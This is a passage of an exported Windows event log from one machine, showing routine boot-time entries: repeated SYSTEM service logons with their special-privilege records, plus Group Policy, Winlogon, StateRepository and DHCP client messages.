ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.605\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.605\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.633\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.633\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.633\t4116\tStarted the Group Policy service initialization phase.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.637\t4115\tGroup Policy Service started.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.640\t100\tError 0x15: misuse at line 185353 of [737ae4a347]\tError\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:57.640\t811\tThe winlogon notification subscriber  began handling the notification event (0).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:57.640\t5324\tGroup Policy received the notification CreateSession from Winlogon for session 1.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.640\t5351\tGroup policy session returned to winlogon.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.640\t812\tThe winlogon notification subscriber  finished handling the notification event (0).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:57.640\t4117\tGroup Policy Session started.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.640\t811\tThe winlogon notification subscriber  began handling the notification event (0).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:57.640\t5116\tSuccessfully completed the Group Policy Service initialization phase.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:57.641\t812\tThe winlogon notification subscriber  finished handling the notification event (0).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:57.645\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.645\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.655\t223\tStateRepository partition 1 exists and ready for use [SchemaVersion=30464]\tInformation\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:57.656\t223\tStateRepository partition 2 exists and ready for use [SchemaVersion=30464]\tInformation\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:57.657\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.657\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.661\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.661\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.663\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.663\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.671\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.671\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.676\t284\tREINDEX command has run; database indices are updated [Partition=2, ProcessId=900, Scope=AppInstaller]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:57.677\t284\tREINDEX command has run; database indices are updated [Partition=2, ProcessId=900, Scope=AppInstallerUri]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:57.682\t284\tREINDEX command has run; database indices are updated [Partition=2, ProcessId=900, Scope=AppxManifest]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:57.683\t284\tREINDEX command has run; database indices are updated [Partition=2, ProcessId=900, Scope=AutoUpdatePackage]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:57.684\t284\tREINDEX command has run; database indices are updated [Partition=2, ProcessId=900, Scope=ContentGroup]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:57.685\t284\tREINDEX command has run; database indices are updated [Partition=2, ProcessId=900, Scope=ContentGroupFile]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:57.687\t1\t[PDO] (0x0000.0x04.0x00): Begin state transition from UNINITIALIZED to STARTED\tInformation\tMicrosoft-Windows-PCI/Operational\tMicrosoft-Windows-PCI\n05.09.2026 08:28:57.689\t50036\tDHCPv4 client service is started\tInformation\tSystem\tMicrosoft-Windows-Dhcp-Client\n05.09.2026 08:28:57.689\t50103\tDHCPv4 client registered for shutdown notification\tInformation\tSystem\tMicrosoft-Windows-Dhcp-Client\n05.09.2026 08:28:57.689\t50036\tDHCPv4 client service is started\tInformation\tSystem\tMicrosoft-Windows-Dhcp-Client\n05.09.2026 08:28:57.692\t1531\t\"The User Profile Service has started successfully.  \n\n\"\tInformation\tApplication\tMicrosoft-Windows-User Profiles Service\n05.09.2026 08:28:57.693\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.693\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:57.700\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon 